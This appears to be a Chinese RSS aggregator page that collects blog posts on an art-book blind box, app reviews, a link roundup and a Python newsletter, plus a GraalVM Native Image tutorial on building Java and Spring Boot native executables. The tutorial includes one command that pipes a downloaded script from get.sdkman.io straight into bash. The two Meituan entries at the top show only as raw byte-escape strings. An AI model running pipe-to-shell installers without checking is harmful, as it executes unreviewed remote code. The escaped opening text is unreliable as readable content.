9c\xba\xe5\xad\xa6\xe9\x99\xa2\xe3\x80\x81\xe7\xbe\x8e\xe5\x9b\xa2\xe5\xb1\xa5\xe7\xba\xa6\xe5\xb9\xb3\xe5\x8f\xb0\xe6\x8a\x80\xe6\x9c\xaf\xe9\x83\xa8\xe5\xbc\x80\xe5\xb1\x95\xe4\xba\x86\xe5\xad\xa6\xe6\x9c\xaf\xe5\x90\x88\xe4\xbd\x9c\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\xb9\xb6\xe5\x8f\x96\xe5\xbe\x97\xe4\xba\x86\xe4\xb8\x80\xe4\xba\x9b\xe7\x9a\x84\xe6\x88\x90\xe6\x9e\x9c\xef\xbc\x8c\xe5\xb8\x8c\xe6\x9c\x9b\xe5\x88\x86\xe4\xba\xab\xe7\xbb\x99\xe5\xa4\xa7\xe5\xae\xb6\xe3\x80\x82'

by 美团技术团队 at February 21, 2025 12:00 AM

February 14, 2025

meituan

预测技术在美团弹性伸缩场景的探索与应用

b'\xe5\x9c\xa8\xe7\xae\xa1\xe7\x90\x86\xe4\xbc\x81\xe4\xb8\x9a\xe5\xa4\xa7\xe8\xa7\x84\xe6\xa8\xa1\xe6\x9c\x8d\xe5\x8a\xa1\xe5\xbc\xb9\xe6\x80\xa7\xe4\xbc\xb8\xe7\xbc\xa9\xe7\x9a\x84\xe5\x9c\xba\xe6\x99\xaf\xe4\xb8\x8b\xef\xbc\x8cWeb\xe5\xba\x94\xe7\x94\xa8\xe7\x9a\x84\xe8\xb4\x9f\xe8\xbd\xbd\xe6\x97\xb6\xe5\xba\x8f\xe6\x95\xb0\xe6\x8d\xae\xe5\x88\x86\xe6\x9e\x90\xe5\x92\x8c\xe9\xa2\x84\xe6\xb5\x8b\xe8\x87\xb3\xe5\x85\xb3\xe9\x87\x8d\xe8\xa6\x81\xe3\x80\x82\xe7\x84\xb6\xe8\x80\x8c\xef\xbc\x8c\xe7\x94\xb1\xe4\xba\x8e\xe5\xba\x94\xe7\x94\xa8\xe7\x9a\x84\xe5\x91\xa8\xe6\x9c\x9f\xe6\x80\xa7\xe7\x89\xb9\xe5\xbe\x81\xe5\x92\x8c\xe8\xb4\x9f\xe8\xbd\xbd\xe7\x9a\x84\xe5\xa4\x8d\xe6\x9d\x82\xe6\x80\xa7\xef\xbc\x8c\xe5\xaf\xbb\xe6\x89\xbe\xe4\xb8\x80\xe7\xa7\x8d\xe8\x83\xbd\xe5\xa4\x9f\xe9\x80\x82\xe5\xba\x94\xe6\x89\x80\xe6\x9c\x89\xe5\xba\x94\xe7\x94\xa8\xe7\x9a\x84\xe9\xa2\x84\xe6\xb5\x8b\xe6\xa8\xa1\xe5\x9e\x8b\xe6\x88\x90\xe4\xb8\xba\xe4\xba\x86\xe4\xb8\x80\xe9\xa1\xb9\xe6\x8c\x91\xe6\x88\x98\xe3\x80\x82\xe7\xbe\x8e\xe5\x9b\xa2\xe4\xb8\x8e\xe4\xb8\xad\xe5\x9b\xbd\xe4\xba\xba\xe6\xb0\x91\xe5\xa4\xa7\xe5\xad\xa6\xe4\xbf\xa1\xe6\x81\xaf\xe5\xad\xa6\xe9\x99\xa2\xe6\x9f\xb4\xe4\xba\x91\xe9\xb9\x8f\xe6\x95\x99\xe6\x8e\x88\xe5\x9b\xa2\xe9\x98\x9f\xe5\xb1\x95\xe5\xbc\x80\xe4\xba\x86\xe2\x80\x9c\xe9\xa2\x84\xe6\xb5\x8b\xe6\x8a\x80\xe6\x9c\xaf\xe5\x9c\xa8\xe5\xbc\xb9\xe6\x80\xa7\xe4\xbc\xb8\xe7\xbc\xa9\xe5\x9c\xba\xe6\x99\xaf\xe7\x9a\x84\xe5\xba\x94\xe7\x94\xa8\xe2\x80\x9d\xe7\xa7\x91\xe7\xa0\x94\xe5\x90\x88\xe4\xbd\x9c\xef\xbc\x8c\xe5\x8f\x96\xe5\xbe\x97\xe4\xba\x86\xe8\xbe\x83\xe5\xa5\xbd\xe7\x9a\x84\xe6\x88\x90\xe6\x9e\x9c\xe3\x80\x82\xe5\xb8\x8c\xe6\x9c\x9b\xe8\x83\xbd\xe7\xbb\x99\xe4\xbb\x8e\xe4\xba\x8b\xe7\x9b\xb8\xe5\x85\xb3\xe7\xa0\x94\xe7\xa9\xb6\xe5\xb7\xa5\xe4\xbd\x9c\xe7\x9a\x84\xe5\x90\x8c\xe5\xad\xa6\xe5\xb8\xa6\xe6\x9d\xa5\xe4\xb8\x80\xe4\xba\x9b\xe5\xb8\xae\xe5\x8a\xa9\xe6\x88\x96\xe5\x90\xaf\xe5\x8f\x91\xe3\x80\x82'

by 美团技术团队 at February 14, 2025 12:00 AM

January 31, 2025

life

anotherdayu

艺术书盲盒

去年,《假杂志》遭遇了一些变故,令人惋惜。

年末,暂时转成艺术书咖啡馆的形式营业,算是有了新的开始。

25 年初假杂志制作了一些艺术书盲盒,想着支持他们重启,便买了一份。

最近回上海,才腾出空拆开。198 RMB 的 2 号盲盒,内有四本书,一个布袋。如果按书的原价来算,还是挺划算的。

两本图为主,两本字为主,搭配合理。过年在家,一天读两本,挺惬意。

比较喜欢 Mitsuru Fujita 的《Watarasegawa – Time Goes By》和《天气之语》。

《Watarasegawa – Time Goes By》拍摄了很多沿途的山、田野、街道。配上黑白的风格,有一种忧伤悲凉的气息。后续看了介绍,发现取景地是一次矿难附近,环境和人类活动的残留物互相拉扯、战斗着。

《天气之语》是一本气候相关的科普散文集,学术性和诗意结合的很好,翻译质量挺好,读起来不晦涩,让我想起了《离线》系列。美中不足的是,其中两页的印刷质量有小瑕疵。

偶尔买一次盲盒挺好的,读一些关注领域之外的内容,享受一个不一样的下午。

祝好,

喝着热巧克力的 Dayu

IMG_2863.jpeg
IMG_2864.jpeg
IMG_2862.jpeg
IMG_2865.jpeg

by Dayu at January 31, 2025 03:29 AM

life

January 30, 2025

anotherdayu

近期测试的几个软件

近期收到或抽到了一些软件,都挺有趣,放在一起聊聊。

写完才发现 5 个项目的作者都是推友。

Juchats

推友 @Cydiar404 的项目 Juchats,快速访问多种大模型(如下图所示)。整体功能与 POE 类似,价格更便宜,界面更简洁,可以用支付宝直接付款。

目前已经稳定运行一年多,比较贴心的是有个 1.99 美元的日套餐,感兴趣的朋友可以测试一下。

CleanShot 2025-01-30 at 23.27.02@2x

Tooboo

YaoYao 跳绳软件作者 @haozes 的新产品 Tooboo,这次的定位是跑步和徒步旅行,软件风格特别舒服,和 Apple watch 适配的也很好。

支持与 Strava 同步,可以从两步路和 AllTrails 中导入路线。

竞品是 WorkOutDoors,支持得运动项目更全一些,但老项目界面稍微粗糙些。Tooboo 的优势则是设计和交互更现代,更新也更勤快,未来可能添加更多功能。国区买断价 48-68 块,很不错。

IMG_3025

Photoncam

推友 @JuniperPhoton 的作品,用起来很舒服的拍照软件,可以配置 LUT,自带的滤镜也挺不错,玩法多样。

我喜欢它的原因比较个人。平时手机拍照比较习惯用 1:1 的框,Apple camera 没有长期固定 1:1 的设置,拍照前总要多个步骤,这个软件则能固定 1:1。

正好换了 iPhone16,就把 Photoncam 锁在了相机键。想 4:3 的时候再启用 Apple camera。

注:经网友提醒,iPhone 原来可以固定设置,选项名:Preserve Settings。

最近简单修图和加边框也用的它,挺顺手,偶尔精修的时候才用 Darkroom(开的越来越少了)。

IMG_3023

Piecelet

推友 @vanillaCitron 的作品。

Piecelet 是 iOS 版的 NeoDB 浏览器,体验不错,这回在手机上添加书影音记录更方便了。

NeoDB 本就相对小众,愿意花心思为这个网站做软件,还是上架的 iOS 软件,不容易。

比较好奇 Piecelet 的含义。

IMG_3021

SteveFans

@st7evechou 的作品。

SteveFans 能以小组件的形式追踪社交软件的关注数等数据,包括 Youtube、Twitter、Bilibili、Telegram等。

这个软件感觉很适合做自媒体的朋友使用,在创业阶段有个方便浏览数据的小窗口,很方便。

IMG_3022

by Dayu at January 30, 2025 04:15 PM

life

January 29, 2025

life

anotherdayu

PIVOT Vol.12 新年快乐呀!

本刊物不定期发布,推荐通过 RSS 订阅:https://anotherdayu.com/feed/

IMG_1488.jpg

「微信备份」

以前每到临近过年的时候,我都会整理聊天记录,然后删除微信,再重新下载一遍。

这样做很爽快,但偶尔也会希望浏览过去的历史记录。

今年准备备份一下,先尝试的是 oh-my-wechat,带年度总结,但目前不兼容微信新版本,图片显示加载失败。

然后尝试了老牌的 WechatExporter ,流程与 Oh-my-wechat 相似,稳定性不错,顺利完成了备份。

我在云盘中存了一份完整版,并在 DEVONthink 中存了一份「没有多媒体文件的 html 备份」,这样一年的聊天记录仅有 70 mb,方便索引。

另外,Untag 推荐的 wechatDataBackup 似乎更简单易用。但我没有 windows 系统的设备,未能测试。

|

「Dynamicland」

Dynamicland 是一个独特的计算环境项目,它将计算机变成了一个实体场所。在这里,计算不是隐藏在虚拟世界中,而是以实物形式存在,人们可以直接用手触摸和操作。它是一个非营利性研究实验室,目标是发明一种新型计算形式,让普通社区成员也能轻松使用和创造。该项目由前苹果界面设计师 Bret Victor 参与研究,致力于让人们能在真实世界中协作,共同探索想法。

感兴趣的朋友可以听这一期播客:EP90: Dynamicland 2024 – 一天世界

|

「Colorado police give away free AirTags to cut car crime」

科罗拉多州的一个警察局目前会免费赠送一张包含汽车登记证的 AirTag,并附加一张贴纸,以说明该车辆正被警察局追踪。感觉这种追踪设备挺适合警局和保险公司合作,批量部署。

|

「名字能影响面部特征吗?」

这篇研究文章探讨了名字是否能够影响人的面部特征。研究采用了多种方法,包括社会观察者评估和机器学习算法,以验证「自我实现预言」效应,即人们的面部特征随着时间的发展会趋于与其名字相关的社会刻板印象相符。

|

「Engineering Toxoplasma gondii secretion systems for intracellular delivery of multiple large therapeutic proteins to neurons」

很有趣的研究,研究者利用基因工程改造刚地弓形虫(Toxoplasma gondii),使其能够穿透血脑屏障,将治疗性蛋白质递送至大脑神经元。这一技术为解决中枢神经系统疾病治疗中的药物递送难题提供了新思路。

|

「Forgetting as a form of adaptive engram cell plasticity」

文章提出,遗忘并非记忆本身的消失,而是记忆印迹细胞(engram cells)从“可激活状态”转变为“不可激活状态”的过程。记忆信息仍存储于大脑中,但缺乏触发其提取的“钥匙”(如特定环境线索)。这一观点挑战了传统认为遗忘是信息丢失的观点,将其重新定义为神经可塑性的表现形式

|

「Ubuntu 是什么意思?」

Ubuntu is an ancient African word meaning ‘humanity to others’. It also means ‘I am what I am because of who we all are’. The Ubuntu operating system brings the spirit of Ubuntu to the world of computers.

Ubuntu 是一个古老的非洲词,意思是“对他人的人道”。它还意味着“我之所以成为我,是因为我们都是我”。 Ubuntu 操作系统将 Ubuntu 的精神带入了计算机世界。

|

「A systematic review and multivariate meta-analysis of the physical and mental health benefits of touch interventions」

这篇 meta 分析表明,触摸能改善身体和心理的多种指标,如减轻疼痛、焦虑和抑郁。

|

「宝可梦自走棋 PokemonAutoChess」

这款由粉丝制作,为粉丝服务。网页即可开玩,开源且非盈利。所有版权归宝可梦公司所有。另外,「宝可梦大集合」最近也出自走棋了,挺好玩的。

by Dayu at January 29, 2025 01:11 PM

xiaowuleyi

January 25, 2025

life

pythoncat

Python 潮流周刊#87:媲美 OpenAI-o1 的开源模型

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
分享了 12 篇文章,12 个开源项目。
下周因春节假期停更一周,提前恭祝大家蛇年吉祥,万事顺意!(PS. 我在 Python猫 公众号给大家准备了一些红包封面🧧,免费领取哟~)
以下是本期摘要:
① 优化 Jupyter Notebook 来用于 LLM
② 2024 年的 urllib3
③ 2025 年如何成为 AI 开发者(完整指南与资源)
④ 在 Rust 中嵌入 Python(用于测试)
⑤ PEP-773:Windows 平台的 Python 安装管理器
⑥ 基于 Emacs 的高级 Python 开发工作流
⑦ 10 种在 Python 中处理大文件的技巧
⑧ 调查 Python 构建后端的流行趋势(II)
⑨ Python ASGI 应用的日志上下文传播
⑩ PEP-771:Python 软件包的默认可选依赖
⑪ 使用 Turtle 绘制各国国旗
⑫ 我的开发工具和工作流分享
① DeepSeek-R1:媲美 OpenAI-o1 的开源模型
② wiseflow:从网站/公众号/RSS等提取简洁的信息
③ beaverhabits:自托管的习惯追踪应用
④ django-templated-email-md:用 Markdown 格式生成电子邮件
⑤ isd:更便捷的 systemd 管理方式
⑥ ccrl_challenger_flask_app:Flask 开发的国际象棋对战网站
⑦ micropie:超轻量的 Python Web 框架
⑧ zasper:高效运行 Jupyter Notebook 的 IDE
⑨ UI-TARS:字节跳动开源的 GUI 代理模型
⑩ WebWalker:用网页导航任务中对 LLM 作基准测试
⑪ coagent:用于开发单体或分布式代理系统的框架
⑫ Python 数据可视化工具网站
周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,欢迎订阅这个你绝对不会后悔的专栏:https://xiaobot.net/p/python_weekly
订阅后,可免费查看 第 87 期周刊的全文:https://www.xiaobot.net/post/cd111999-3cd9-4520-95f3-1f6ded061036
Python 潮流周刊第 2 季完结了,分享几项总结:https://pythoncat.top/posts/2024-07-14-iweekly
周刊前30期的免费合集,含精美电子书(EPUB/PDF):https://pythoncat.top/posts/2023-12-11-weekly
万字浓缩版,Python 潮流周刊第 1 季的 800 个链接!:https://xiaobot.net/post/78c3d645-86fa-4bd8-8eac-46fb192a339e

January 25, 2025 12:00 AM

January 24, 2025

life

xiaowuleyi

aneasystone

使用 GraalVM 构建 Java 原生应用

随着云原生技术的普及,Java 应用在云环境中的臃肿问题变得更加突出,比如:

  • 镜像体积大:传统的 Java 应用容器镜像通常包含完整的 JVM 和依赖库,导致镜像体积庞大,增加了存储和传输的成本;
  • 启动速度慢:传统的 Java 应用依赖于 JVM 的 即时编译(JIT) 机制,启动时需要加载大量类库和依赖,导致启动时间较长;
  • 内存占用高:JVM 需要为运行时分配大量内存,包括堆内存、元空间(Metaspace)等,导致资源浪费和成本增加;

在云原生环境中,尤其是微服务架构下,快速启动和弹性伸缩是核心需求,这也是云原生的基本理念:轻量快速弹性。很显然,Java 的这些问题和这个理念是相冲突的,而 GraalVM 正是解决这些问题的关键技术之一。

GraalVM 是由 Oracle 实验室于 2011 年启动的一个研究项目。项目初期主要专注于编译器 Graal Compiler 的开发,目标是创建一个高性能的 Java 编译器,以替代传统的 HotSpot JVM 中的 C2 编译器;2017 年,推出了 Truffle 框架,支持多语言互操作,扩展了 GraalVM 的多语言能力,以超强性能运行 JavaScript、Python、Ruby 以及其他语言;不过这时的 GraalVM 还不温不火,只有少部分研究人员和早期尝鲜者在使用,直到 2018 年,GraalVM 1.0 正式发布,推出了 原生镜像(Native Image) 功能,标志着其正式进入主流市场。

GraalVM 的原生镜像功能通过 提前编译(AOT) 机制,显著改善了 Java 在云原生环境中的表现。GraalVM 可以将 Java 应用编译为独立的可执行文件,无需依赖 JVM,大幅减小了镜像体积;而且这种方式消除了 JIT 编译的开销,使启动时间从秒级降低到毫秒级;此外,原生镜像运行时仅加载必要的类库和资源,内存占用也比传统 Java 应用少得多。

快速上手

这一节我们将学习 GraalVM 的安装以及 Native Image 的基本使用。

GraalVM 的安装

GraalVM 支持常见的操作系统,包括 LinuxmacOSWindows

在 Linux 和 macOS 下,推荐使用 SDKMAN! 来安装 GraalVM。首先我们安装 SDKMAN!

$ curl -s "https://get.sdkman.io" | bash

安装完成后,使用 sdk list java 列出当前系统可用的 JDK 版本:

也可以使用 sdk install java [TAB] 列出所有可用版本。

================================================================================
Available Java Versions for macOS ARM 64bit
================================================================================
 Vendor        | Use | Version      | Dist    | Status     | Identifier
--------------------------------------------------------------------------------
 Corretto      |     | 23.0.1       | amzn    |            | 23.0.1-amzn         
               |     | 21.0.5       | amzn    |            | 21.0.5-amzn         
               |     | 17.0.13      | amzn    |            | 17.0.13-amzn        
               |     | 11.0.25      | amzn    |            | 11.0.25-amzn        
               |     | 8.0.432      | amzn    |            | 8.0.432-amzn        
 Gluon         |     | 22.1.0.1.r17 | gln     |            | 22.1.0.1.r17-gln    
 GraalVM CE    |     | 23.0.1       | graalce |            | 23.0.1-graalce      
               | >>> | 21.0.2       | graalce | installed  | 21.0.2-graalce      
               |     | 17.0.9       | graalce | installed  | 17.0.9-graalce      
 GraalVM Oracle|     | 25.ea.4      | graal   |            | 25.ea.4-graal       
               |     | 24.ea.27     | graal   |            | 24.ea.27-graal      
               |     | 23.0.1       | graal   |            | 23.0.1-graal        
               |     | 21.0.5       | graal   |            | 21.0.5-graal        
               |     | 17.0.12      | graal   |            | 17.0.12-graal       
 Java.net      |     | 25.ea.5      | open    |            | 25.ea.5-open        
               |     | 24.ea.31     | open    |            | 24.ea.31-open       
               |     | 23           | open    |            | 23-open             
               |     | 21.0.2       | open    |            | 21.0.2-open         
 JetBrains     |     | 21.0.5       | jbr     |            | 21.0.5-jbr          
               |     | 17.0.12      | jbr     |            | 17.0.12-jbr         
               |     | 11.0.14.1    | jbr     |            | 11.0.14.1-jbr       
 Liberica      |     | 23.0.1       | librca  |            | 23.0.1-librca       
               |     | 21.0.5       | librca  |            | 21.0.5-librca       
               |     | 17.0.13      | librca  |            | 17.0.13-librca      
               |     | 11.0.25      | librca  |            | 11.0.25-librca      
               |     | 8.0.432      | librca  |            | 8.0.432-librca      
 Liberica NIK  |     | 24.1.1.r23   | nik     |            | 24.1.1.r23-nik      
               |     | 23.1.5.r21   | nik     |            | 23.1.5.r21-nik      
               |     | 22.3.5.r17   | nik     |            | 22.3.5.r17-nik      
 Mandrel       |     | 24.1.1.r23   | mandrel |            | 24.1.1.r23-mandrel  
               |     | 23.1.5.r21   | mandrel |            | 23.1.5.r21-mandrel  
 Microsoft     |     | 21.0.5       | ms      |            | 21.0.5-ms           
               |     | 17.0.13      | ms      |            | 17.0.13-ms          
               |     | 11.0.25      | ms      |            | 11.0.25-ms          
 Oracle        |     | 23.0.1       | oracle  |            | 23.0.1-oracle       
               |     | 22.0.2       | oracle  |            | 22.0.2-oracle       
               |     | 21.0.5       | oracle  |            | 21.0.5-oracle       
               |     | 17.0.12      | oracle  |            | 17.0.12-oracle      
 SapMachine    |     | 23.0.1       | sapmchn |            | 23.0.1-sapmchn      
               |     | 21.0.5       | sapmchn |            | 21.0.5-sapmchn      
               |     | 17.0.13      | sapmchn |            | 17.0.13-sapmchn     
               |     | 11.0.25      | sapmchn |            | 11.0.25-sapmchn     
 Semeru        |     | 21.0.5       | sem     |            | 21.0.5-sem          
               |     | 17.0.13      | sem     |            | 17.0.13-sem         
               |     | 11.0.25      | sem     |            | 11.0.25-sem         
 Temurin       |     | 23.0.1       | tem     |            | 23.0.1-tem          
               |     | 21.0.5       | tem     |            | 21.0.5-tem          
               |     | 17.0.13      | tem     |            | 17.0.13-tem         
               |     | 11.0.25      | tem     |            | 11.0.25-tem         
 Tencent       |     | 21.0.5       | kona    |            | 21.0.5-kona         
               |     | 17.0.13      | kona    |            | 17.0.13-kona        
               |     | 11.0.25      | kona    |            | 11.0.25-kona        
               |     | 8.0.432      | kona    |            | 8.0.432-kona        
 Zulu          |     | 23.0.1       | zulu    |            | 23.0.1-zulu         
               |     | 21.0.5       | zulu    |            | 21.0.5-zulu         
               |     | 17.0.13      | zulu    |            | 17.0.13-zulu        
               |     | 11.0.25      | zulu    |            | 11.0.25-zulu        
               |     | 8.0.432      | zulu    |            | 8.0.432-zulu        
================================================================================
Omit Identifier to install default version 21.0.5-tem:
    $ sdk install java
Use TAB completion to discover available versions
    $ sdk install java [TAB]
Or install a specific version by Identifier:
    $ sdk install java 21.0.5-tem
Hit Q to exit this list view
================================================================================

其中 GraalVM 有两个,GraalVM CE 是由社区维护,是开源的,基于 OpenJDK 开发;而 GraalVM Oracle 是由 Oracle 发布,基于 Oracle JDK 开发,我们这里安装社区版:

$ sdk install java 21.0.2-graalce

使用 java -version 确认安装是否成功:

$ java -version
openjdk version "21.0.2" 2024-01-16
OpenJDK Runtime Environment GraalVM CE 21.0.2+13.1 (build 21.0.2+13-jvmci-23.1-b30)
OpenJDK 64-Bit Server VM GraalVM CE 21.0.2+13.1 (build 21.0.2+13-jvmci-23.1-b30, mixed mode, sharing)

Native Image 的基本使用

接下来,我们将通过最简单的 Hello World 例子了解 Native Image 的基本使用。

首先,我们创建一个 Hello.java 文件,如下:

class Hello {
    public static void main(String[] args) {
        System.out.println("Hello");
    }
}

直接使用 java 命令运行,确保程序没有错误:

$ java Hello.java
Hello

然后使用 javac.java 文件编译成 .class 文件:

$ javac Hello.java

此时,当前目录下会生成一个 Hello.class 文件。接下来使用 native-image 命令,将 .class 文件打包成可执行程序:

$ native-image Hello
========================================================================================================================
GraalVM Native Image: Generating 'hello' (executable)...
========================================================================================================================
[1/8] Initializing...                                                                                    (7.2s @ 0.10GB)
 Java version: 21.0.2+13, vendor version: GraalVM CE 21.0.2+13.1
 Graal compiler: optimization level: 2, target machine: armv8-a
 C compiler: cc (apple, arm64, 15.0.0)
 Garbage collector: Serial GC (max heap size: 80% of RAM)
 1 user-specific feature(s):
 - com.oracle.svm.thirdparty.gson.GsonFeature
------------------------------------------------------------------------------------------------------------------------
Build resources:
 - 12.09GB of memory (75.6% of 16.00GB system memory, determined at start)
 - 8 thread(s) (100.0% of 8 available processor(s), determined at start)
[2/8] Performing analysis...  [****]                                                                     (5.6s @ 0.32GB)
    3,225 reachable types   (72.5% of    4,450 total)
    3,810 reachable fields  (50.1% of    7,606 total)
   15,653 reachable methods (45.6% of   34,359 total)
    1,059 types,    87 fields, and   678 methods registered for reflection
       57 types,    57 fields, and    52 methods registered for JNI access
        4 native libraries: -framework Foundation, dl, pthread, z
[3/8] Building universe...                                                                               (1.3s @ 0.29GB)
[4/8] Parsing methods...      [*]                                                                        (0.6s @ 0.29GB)
[5/8] Inlining methods...     [***]                                                                      (0.5s @ 0.46GB)
[6/8] Compiling methods...    [**]                                                                       (4.9s @ 0.34GB)
[7/8] Layouting methods...    [*]                                                                        (0.7s @ 0.50GB)
[8/8] Creating image...       [*]                                                                        (1.5s @ 0.47GB)
   5.08MB (39.25%) for code area:     8,896 compilation units
   7.48MB (57.87%) for image heap:   97,240 objects and 76 resources
 381.68kB ( 2.88%) for other data
  12.93MB in total
------------------------------------------------------------------------------------------------------------------------
Top 10 origins of code area:                                Top 10 object types in image heap:
   3.80MB java.base                                            1.58MB byte[] for code metadata
 936.91kB svm.jar (Native Image)                               1.29MB byte[] for java.lang.String
 108.35kB java.logging                                       976.00kB java.lang.String
  56.84kB org.graalvm.nativeimage.base                       748.94kB java.lang.Class
  43.64kB jdk.proxy1                                         328.26kB byte[] for general heap data
  42.03kB jdk.proxy3                                         277.15kB com.oracle.svm.core.hub.DynamicHubCompanion
  21.98kB org.graalvm.collections                            244.27kB java.util.HashMap$Node
  19.52kB jdk.internal.vm.ci                                 219.04kB java.lang.Object[]
  10.46kB jdk.proxy2                                         184.95kB java.lang.String[]
   8.04kB jdk.internal.vm.compiler                           155.52kB byte[] for reflection metadata
   2.95kB for 2 more packages                                  1.55MB for 905 more object types
------------------------------------------------------------------------------------------------------------------------
Recommendations:
 INIT: Adopt '--strict-image-heap' to prepare for the next GraalVM release.
 HEAP: Set max heap for improved and more predictable memory usage.
 CPU:  Enable more CPU features with '-march=native' for improved performance.
------------------------------------------------------------------------------------------------------------------------
                        1.3s (5.7% of total time) in 115 GCs | Peak RSS: 0.93GB | CPU load: 4.04
------------------------------------------------------------------------------------------------------------------------
Produced artifacts:
 /Users/aneasystone/Codes/github/weekly-practice/notes/week058-java-native-app-with-graalvm/demo/hello (executable)
========================================================================================================================
Finished generating 'hello' in 22.6s.

上面可以看到 native-image 详情的运行过程,最终生成一个 hello 文件,可以直接执行:

$ ./hello 
Hello

native-image 不仅可以将类文件转换为可执行文件,也支持输入 JAR 文件或模块(Java 9 及更高版本),参考 这里这里;除了可以编译可执行文件,native-image 还可以将类文件 编译成共享库(native shared library)

构建复杂应用

上一节我们演示了如何将单个 Java 文件编译成可执行文件,不过在日常工作中,我们的项目可没这么简单,一般会使用 Maven 来对代码进行组织,在微服务盛行的今天,更多的项目是使用一些微服务框架来开发,如何将这些复杂应用编译成可执行文件也是一个值得学习的课题。

一个简单的 Maven 项目

GraalVM 提供了 Maven 插件,方便我们在 Maven 项目中使用 Native Image 构建原生应用。

GraalVM 同时也支持 Gradle 插件,如果你使用的是 Gradle 管理项目,可以参考 Gradle 插件文档

首先,我们用 mvn archetype:generate 生成一个 Maven 项目:

$ mvn archetype:generate \
    -DgroupId=com.example \
    -DartifactId=hello \
    -DarchetypeArtifactId=maven-archetype-quickstart \
    -DinteractiveMode=false

这里选择的项目脚手架为 maven-archetype-quickstart,关于项目脚手架的使用,可以参考我之前写的 这篇笔记

生成项目的目录结构如下所示:

hello
├── pom.xml
└── src
    ├── main
    │   └── java
    │       └── com
    │           └── example
    │               └── App.java
    └── test
        └── java
            └── com
                └── example
                    └── AppTest.java

打开 pom.xml 文件,添加如下两个 Maven 插件,用于编译和打包:

<build>
    <plugins>
        <plugin>
            <groupId>org.apache.maven.plugins</groupId>
            <artifactId>maven-compiler-plugin</artifactId>
            <version>3.12.1</version>
            <configuration>
                <fork>true</fork>
            </configuration>
        </plugin>
        <plugin>
            <groupId>org.apache.maven.plugins</groupId>
            <artifactId>maven-jar-plugin</artifactId>
            <version>3.3.0</version>
            <configuration>
                <archive>
                    <manifest>
                        <mainClass>com.example.App</mainClass>
                        <addClasspath>true</addClasspath>
                    </manifest>
                </archive>
            </configuration>
        </plugin>
    </plugins>
</build>

此时我们就可以使用 mvn clean package 命令,将项目打包成可执行的 JAR 文件了:

$ mvn clean package

使用 java -jar 运行 JAR 文件:

$ java -jar ./target/hello-1.0-SNAPSHOT.jar 
Hello World!

接下来我们可以使用 native-image -jar 将 JAR 文件转换为可执行文件,或者我们可以更进一步,在 pom.xml 文件中添加如下配置:

<profiles>
    <profile>
        <id>native</id>
        <build>
            <plugins>
                <plugin>
                    <groupId>org.graalvm.buildtools</groupId>
                    <artifactId>native-maven-plugin</artifactId>
                    <version>0.10.4</version>
                    <extensions>true</extensions>
                    <executions>
                        <execution>
                            <id>build-native</id>
                            <goals>
                                <goal>compile-no-fork</goal>
                            </goals>
                            <phase>package</phase>
                        </execution>
                        <execution>
                            <id>test-native</id>
                            <goals>
                                <goal>test</goal>
                            </goals>
                            <phase>test</phase>
                        </execution>
                    </executions>
                </plugin>
            </plugins>
        </build>
    </profile>
</profiles>

注意,从 JDK 21 开始,Native Image Maven Plugin 改成了 org.graalvm.buildtools:native-maven-plugin,之前的版本中使用的是 org.graalvm.nativeimage:native-image-maven-plugin,参考 这里

然后执行如下命令:

$ mvn clean package -Pnative -DskipTests=true

这样不仅可以将项目打包成 JAR 文件,同时也会生成一个可执行文件:

$ ./target/hello 
Hello World!

注意在上面的命令中我们加了一个忽略测试的参数 -DskipTests=true,如果不加的话,可能会报错:

[ERROR] Failed to execute goal org.graalvm.buildtools:native-maven-plugin:0.10.4:test (test-native) on project hello: 
Execution test-native of goal org.graalvm.buildtools:native-maven-plugin:0.10.4:test failed: Test configuration file wasn't found.

根据 Testing support 部分的说明,目前插件只支持 JUnit 5.8.1 以上的版本,而通过 maven-archetype-quickstart 脚手架生成的项目里用的是 JUnit 3.8.1,所以我们可以将依赖改为:

<dependency>
    <groupId>org.junit.jupiter</groupId>
    <artifactId>junit-jupiter-api</artifactId>
    <version>5.10.5</version>
    <scope>test</scope>
</dependency>

同时将测试类替换成 JUnit 5 的写法:

package com.example;

import static org.junit.jupiter.api.Assertions.assertEquals;

import org.junit.jupiter.api.*;

public class AppTest
{
    @Test
    public void testApp()
    {
        assertEquals( "hello".length(), 5 );
    }
}

这时就可以去掉 -DskipTests=true 参数了:

$ mvn clean package -Pnative

注意,从构建输出上可以看出来,单元测试运行了两遍,第一遍是标准的 surefire:test,第二遍是 Native Image 的 native:test,这两次运行的目的和场景是不一样的,surefire:test 在 JVM 上运行,验证代码在 JVM 环境下的正确性,native:test 在 Native Image 构建的上下文中运行,验证代码在 Native Image 环境下的正确性。如果你的代码在两种环境下的行为可能不同(如反射、动态类加载等),可能需要都运行,否则只运行 surefire:test 即可,可以通过 -DskipNativeTests=true 跳过 native:test

一个简单的 Spring Boot 项目

这一节将演示如何从 Spring Boot 应用程序构建一个本地可执行文件,Spring Boot 从 3.0 开始支持原生镜像,可以更轻松地配置项目,并显著提高 Spring Boot 应用程序的性能。

其他主流的微服务框架均已支持 GraalVM 的原生镜像功能,如:QuarkusHelidon SEMicronaut 等。

首先,我们需要一个测试的 Spring Boot 应用,有很多快速创建 Spring Boot 脚手架的方法,可以参考我之前写的 这篇笔记,我最喜欢的方法有两种:Spring InitializrSpring Boot CLI,这里通过 Spring Boot CLI 来创建:

可以使用 SDKMAN! 安装 Spring Boot CLI

$ sdk install springboot
$ spring --version
Spring CLI v3.4.1

安装完毕后,执行如下命令生成:

$ spring init --name hello \
    --artifact-id hello \
    --group-id com.example \
    --language java \
    --java-version 21 \
    --boot-version 3.4.1 \
    --type maven-project \
    --dependencies web,native \
    hello

打开 pom.xml 文件可以发现,生成的代码中已经自动为我们加了 native-maven-plugin 依赖。

这时,我们可以执行 mvn clean package 将程序打成 JAR 包并运行,也可以执行 mvn spring-boot:run 直接运行:

$ mvn spring-boot:run
...
2025-01-17T08:56:17.206+08:00  INFO 33037 --- [hello] [           main] o.s.b.w.embedded.tomcat.TomcatWebServer  : Tomcat started on port 8080 (http) with context path '/'
2025-01-17T08:56:17.210+08:00  INFO 33037 --- [hello] [           main] com.example.hello.HelloApplication       : Started HelloApplication in 0.548 seconds (process running for 0.662)

如果要将程序打包成可执行文件,可以执行如下命令:

$ mvn native:compile -Pnative

然后运行之:

$ ./target/hello
...
